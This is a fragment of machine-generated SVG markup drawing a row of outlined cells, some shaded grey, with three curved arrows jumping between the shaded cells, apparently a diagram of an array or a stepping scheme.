<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.355688 0.0006875 L 45.355688 28.348344 L 51.023656 28.348344 L 51.023656 0.0006875 Z M 45.355688 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 51.023656 0.0006875 L 51.023656 28.348344 L 56.691625 28.348344 L 56.691625 0.0006875 Z M 51.023656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 56.691625 0.0006875 L 56.691625 28.348344 L 62.3635 28.348344 L 62.3635 0.0006875 Z M 56.691625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 62.3635 0.0006875 L 62.3635 28.348344 L 68.031469 28.348344 L 68.031469 0.0006875 Z M 62.3635 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 68.031469 0.0006875 L 68.031469 28.348344 L 73.699438 28.348344 L 73.699438 0.0006875 Z M 68.031469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 73.699438 0.0006875 L 73.699438 28.348344 L 79.371313 28.348344 L 79.371313 0.0006875 Z M 73.699438 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 79.371313 0.0006875 L 79.371313 28.348344 L 85.039281 28.348344 L 85.039281 0.0006875 Z M 79.371313 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 85.039281 0.0006875 L 85.039281 28.348344 L 90.70725 28.348344 L 90.70725 0.0006875 Z M 85.039281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 0.0006875 L 181.418187 28.348344 L 187.086156 28.348344 L 187.086156 0.0006875 Z M 181.418187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 187.086156 0.0006875 L 187.086156 28.348344 L 192.754125 28.348344 L 192.754125 0.0006875 Z M 187.086156 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 192.754125 0.0006875 L 192.754125 28.348344 L 198.426 28.348344 L 198.426 0.0006875 Z M 192.754125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 198.426 0.0006875 L 198.426 28.348344 L 204.093969 28.348344 L 204.093969 0.0006875 Z M 198.426 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 204.093969 0.0006875 L 204.093969 28.348344 L 209.761937 28.348344 L 209.761937 0.0006875 Z M 204.093969 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 209.761937 0.0006875 L 209.761937 28.348344 L 215.433812 28.348344 L 215.433812 0.0006875 Z M 209.761937 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 215.433812 0.0006875 L 215.433812 28.348344 L 221.101781 28.348344 L 221.101781 0.0006875 Z M 215.433812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 221.101781 0.0006875 L 221.101781 28.348344 L 226.76975 28.348344 L 226.76975 0.0006875 Z M 221.101781 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 226.76975 0.0006875 L 226.76975 28.348344 L 232.441625 28.348344 L 232.441625 0.0006875 Z M 226.76975 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 232.441625 0.0006875 L 232.441625 28.348344 L 238.109594 28.348344 L 238.109594 0.0006875 Z M 232.441625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 238.109594 0.0006875 L 238.109594 28.348344 L 243.777562 28.348344 L 243.777562 0.0006875 Z M 238.109594 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 243.777562 0.0006875 L 243.777562 28.348344 L 249.449437 28.348344 L 249.449437 0.0006875 Z M 243.777562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 249.449437 0.0006875 L 249.449437 28.348344 L 255.117406 28.348344 L 255.117406 0.0006875 Z M 249.449437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.117406 0.0006875 L 255.117406 28.348344 L 260.785375 28.348344 L 260.785375 0.0006875 Z M 255.117406 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 260.785375 0.0006875 L 260.785375 28.348344 L 266.45725 28.348344 L 266.45725 0.0006875 Z M 260.785375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 266.45725 0.0006875 L 266.45725 28.348344 L 272.125219 28.348344 L 272.125219 0.0006875 Z M 266.45725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 0.0006875 L 272.125219 28.348344 L 277.793187 28.348344 L 277.793187 0.0006875 Z M 272.125219 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 277.793187 0.0006875 L 277.793187 28.348344 L 283.465062 28.348344 L 283.465062 0.0006875 Z M 277.793187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 283.465062 0.0006875 L 283.465062 28.348344 L 289.133031 28.348344 L 289.133031 0.0006875 Z M 283.465062 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 289.133031 0.0006875 L 289.133031 28.348344 L 294.801 28.348344 L 294.801 0.0006875 Z M 289.133031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 294.801 0.0006875 L 294.801 28.348344 L 300.472875 28.348344 L 300.472875 0.0006875 Z M 294.801 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 300.472875 0.0006875 L 300.472875 28.348344 L 306.140844 28.348344 L 306.140844 0.0006875 Z M 300.472875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 306.140844 0.0006875 L 306.140844 28.348344 L 311.808812 28.348344 L 311.808812 0.0006875 Z M 306.140844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 311.808812 0.0006875 L 311.808812 28.348344 L 317.480687 28.348344 L 317.480687 0.0006875 Z M 311.808812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 317.480687 0.0006875 L 317.480687 28.348344 L 323.148656 28.348344 L 323.148656 0.0006875 Z M 317.480687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 323.148656 0.0006875 L 323.148656 28.348344 L 328.816625 28.348344 L 328.816625 0.0006875 Z M 323.148656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 328.816625 0.0006875 L 328.816625 28.348344 L 334.4885 28.348344 L 334.4885 0.0006875 Z M 328.816625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 334.4885 0.0006875 L 334.4885 28.348344 L 340.156469 28.348344 L 340.156469 0.0006875 Z M 334.4885 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 340.156469 0.0006875 L 340.156469 28.348344 L 345.824437 28.348344 L 345.824437 0.0006875 Z M 340.156469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 345.824437 0.0006875 L 345.824437 28.348344 L 351.496312 28.348344 L 351.496312 0.0006875 Z M 345.824437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 351.496312 0.0006875 L 351.496312 28.348344 L 357.164281 28.348344 L 357.164281 0.0006875 Z M 351.496312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 357.164281 0.0006875 L 357.164281 28.348344 L 362.83225 28.348344 L 362.83225 0.0006875 Z M 357.164281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 28.348344 C 50.027563 78.371781 131.390844 78.371781 176.293187 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.146898 0.00206566 L 0.197298 1.786423 L 0.20006 -0.000696507 L 0.20006 -1.785053 Z M 7.146898 0.00206566 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,176.42153,45.02992)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 28.348344 C 206.429906 53.360062 247.1135 53.360062 267.000219 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.145923 0.00109072 L 0.199085 1.78821 L 0.199085 -1.786028 Z M 7.145923 0.00109072 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,267.12994,45.02992)"/>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 28.348344 C 297.136937 53.360062 337.820531 53.360062 357.711156 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.144956 0.000122861 L 0.198117 1.787242 L 0.200879 0.000122861 L 0.198117 -1.786996 Z M 7.144956 0.000122861 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,357.83834,45.02992)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
